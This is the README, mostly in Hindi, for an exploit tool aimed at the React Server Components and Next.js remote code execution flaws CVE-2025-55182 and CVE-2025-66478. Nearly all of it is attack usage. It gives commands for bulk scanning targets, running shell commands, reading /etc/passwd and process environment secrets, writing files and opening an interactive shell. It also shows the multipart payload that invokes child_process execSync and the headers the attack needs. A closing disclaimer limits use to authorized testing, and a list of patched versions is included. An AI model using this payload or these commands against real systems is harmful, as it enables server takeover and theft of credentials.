CVE-2025-55182 - React Server Components RCE एक्सप्लॉइट v2.0
React Server Components (RSC) और Next.js Server Actions में CVE-2025-55182 और CVE-2025-66478 कमजोरियों के परीक्षण के लिए एक व्यापक सुरक्षा अनुसंधान उपकरण।
कमजोरी सिंहावलोकन
| गुण | मान |
|---|
| CVE ID | CVE-2025-55182, CVE-2025-66478 |
| CVSS स्कोर | 10.0 (CRITICAL) |
| प्रभावित संस्करण | React < 19.2.0, Next.js < 15.0.5 |
| कमजोरी प्रकार | Remote Code Execution (RCE) |
| हमला वेक्टर | नेटवर्क |
विशेषताएँ
- PortSwigger-शैली कमजोरी स्कैनिंग, कई डिटेक्शन पेलोड के साथ
- कई RCE गैजेट्स (execSync, spawnSync, vm.runInThisContext, आदि)
- ब्लाइंड RCE सत्यापन के लिए आउट-ऑफ-बैंड (OOB) कॉलबैक परीक्षण
- फ़ाइल पढ़ने/लिखने की क्षमताएँ
- JavaScript कोड निष्पादन
- इंटरैक्टिव शेल मोड
- मल्टी-थ्रेडिंग के साथ बल्क स्कैनिंग
- प्रॉक्सी समर्थन (Burp Suite संगत)
- JSON/टेक्स्ट आउटपुट प्रारूप
इंस्टॉलेशन
आवश्यकताएँ
Python संस्करण
त्वरित प्रारंभ
# Basic vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full vulnerability scan (recommended)
python3 exploit-custom.py -u https://target.com --scan
# With proxy (Burp Suite)
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# OOB callback test
python3 exploit-custom.py -u https://target.com --oob your-id.oastify.com
# Command execution
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Interactive shell
python3 exploit-custom.py -u https://target.com --shell
उपयोग
कमांड लाइन तर्क
usage: exploit-custom.py [-h] (-u URL | -l URL_LIST) [-p PROXY] [-c COOKIES]
[-H HEADER] [-t THREADS] [--timeout TIMEOUT]
[--check] [--detect] [--scan] [--test-all]
[--oob HOST] [--cmd CMD] [--gadget GADGET]
[--read FILE] [--write FILE CONTENT] [--js JS]
[--shell] [-o OUTPUT] [-q]
लक्ष्य चयन
| तर्क | विवरण | उदाहरण |
|---|
-u, --url | एकल लक्ष्य URL | -u https://target.com |
-l, --list | URL वाली फ़ाइल | -l targets.txt |
स्कैनिंग मोड
| तर्क | विवरण |
|---|
--detect | Next.js/RSC उपयोग का पता लगाएँ |
--check | त्वरित कमजोरी जाँच (गणित परीक्षण) |
शोषण
कनेक्शन विकल्प
आउटपुट विकल्प
| तर्क | विवरण |
|---|
-o, --output | परिणाम फ़ाइल में सहेजें (.json या .txt) |
-q, --quiet | बैनर छुपाएँ |
स्कैनिंग उदाहरण
एकल लक्ष्य
# Detect Next.js and RSC
python3 exploit-custom.py -u https://target.com --detect
# Quick vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full scan with all detection payloads
python3 exploit-custom.py -u https://target.com --scan
# Test all gadgets with OOB verification
python3 exploit-custom.py -u https://target.com --test-all --oob xyz.oastify.com
बल्क स्कैनिंग
# Scan multiple targets
python3 exploit-custom.py -l targets.txt --scan -o results.json
# With increased threads
python3 exploit-custom.py -l targets.txt --scan -t 20 -o results.json
# With OOB callbacks
python3 exploit-custom.py -l targets.txt --oob xyz.oastify.com -o results.json
शोषण उदाहरण
कमांड निष्पादन
# Using default gadget (execSync)
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Using specific gadget
python3 exploit-custom.py -u https://target.com --cmd "id" --gadget spawnSync
python3 exploit-custom.py -u https://target.com --cmd "cat /etc/passwd" --gadget execFileSync
फ़ाइल संचालन
# Read file
python3 exploit-custom.py -u https://target.com --read /etc/passwd
python3 exploit-custom.py -u https://target.com --read /proc/self/environ
# Write file
python3 exploit-custom.py -u https://target.com --write /tmp/pwned.txt "pwned"
JavaScript निष्पादन
# Get environment variables
python3 exploit-custom.py -u https://target.com --js "JSON.stringify(process.env)"
# Get hostname
python3 exploit-custom.py -u https://target.com --js "require('os').hostname()"
# List directory
python3 exploit-custom.py -u https://target.com --js "require('fs').readdirSync('/')"
इंटरैक्टिव शेल
python3 exploit-custom.py -u https://target.com --shell
शेल कमांड:
उपलब्ध गैजेट्स
RCE गैजेट्स
फ़ाइल गैजेट्स
| नाम | मॉड्यूल ID | विवरण |
|---|
fs_readFileSync | fs#readFileSync | मनमानी फ़ाइलें पढ़ें |
fs_writeFileSync | fs#writeFileSync | मनमानी फ़ाइलें लिखें |
OOB गैजेट्स
| नाम | विवरण |
|---|
vm_fetch | fetch API के माध्यम से HTTP अनुरोध (Node 18+) |
vm_http | http मॉड्यूल के माध्यम से HTTP अनुरोध |
डिटेक्शन पेलोड (CVE-2025-66478)
--scan मोड इन PortSwigger-शैली डिटेक्शन पेलोड का उपयोग करता है:
OOB कॉलबैक विधियाँ
यह उपकरण कई OOB कॉलबैक विधियों का समर्थन करता है:
आउटपुट व्याख्या
टर्मिनल रंग
स्कैन परिणाम
[VULN] property_reference Vulnerable pattern detected!
-> Error digest pattern: E{"digest"... (needs OOB verification)
[SAFE] property_reference_v2 HTTP 200
[500] action_ref_vm digest:12345
तकनीकी विवरण
RSC फ्लाइट प्रारूप
यह उपकरण React Server Components के "फ्लाइट प्रारूप" प्रतिक्रियाओं को पार्स करता है:
0:{"a":"$@1","b":"$@2"}
1:E{"digest":"12345"}
मल्टीपार्ट पेलोड संरचना
------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"child_process#execSync","bound":["whoami"]}
------CVE2025Boundary--
आवश्यक HTTP हेडर
Content-Type: multipart/form-data; boundary=----CVE2025Boundary
Accept: text/x-component
Next-Action: <random-uuid>
RSC: 1
Next-Router-State-Tree: [[["",{"children":["__PAGE__",{}]},null,null,true]]
पैच किए गए संस्करण
React
Next.js
- 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
उपयोग के मामले
बग बाउंटी
# 1. Prepare target list
echo "https://app.example.com" > targets.txt
echo "https://api.example.com" >> targets.txt
# 2. Bulk scan
python3 exploit-custom.py -l targets.txt --scan -o results.json
# 3. Verify with OOB
python3 exploit-custom.py -u https://vuln.example.com --oob your-id.oastify.com
पेनेट्रेशन परीक्षण
# 1. Detect technology
python3 exploit-custom.py -u https://target.com --detect
# 2. Analyze with Burp
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# 3. Exploit
python3 exploit-custom.py -u https://target.com --shell
संदर्भ
कानूनी अस्वीकरण
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है।
चेतावनी: कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। इस उपकरण का उपयोग केवल उन्हीं सिस्टमों पर करें जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है।
लेखक इस उपकरण के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।
लाइसेंस
यह उपकरण सुरक्षा अनुसंधान और अधिकृत पेनेट्रेशन परीक्षण उद्देश्यों के लिए जारी किया गया है।
लेखक: Ünsal Furkan Harani
संस्करण: 2.0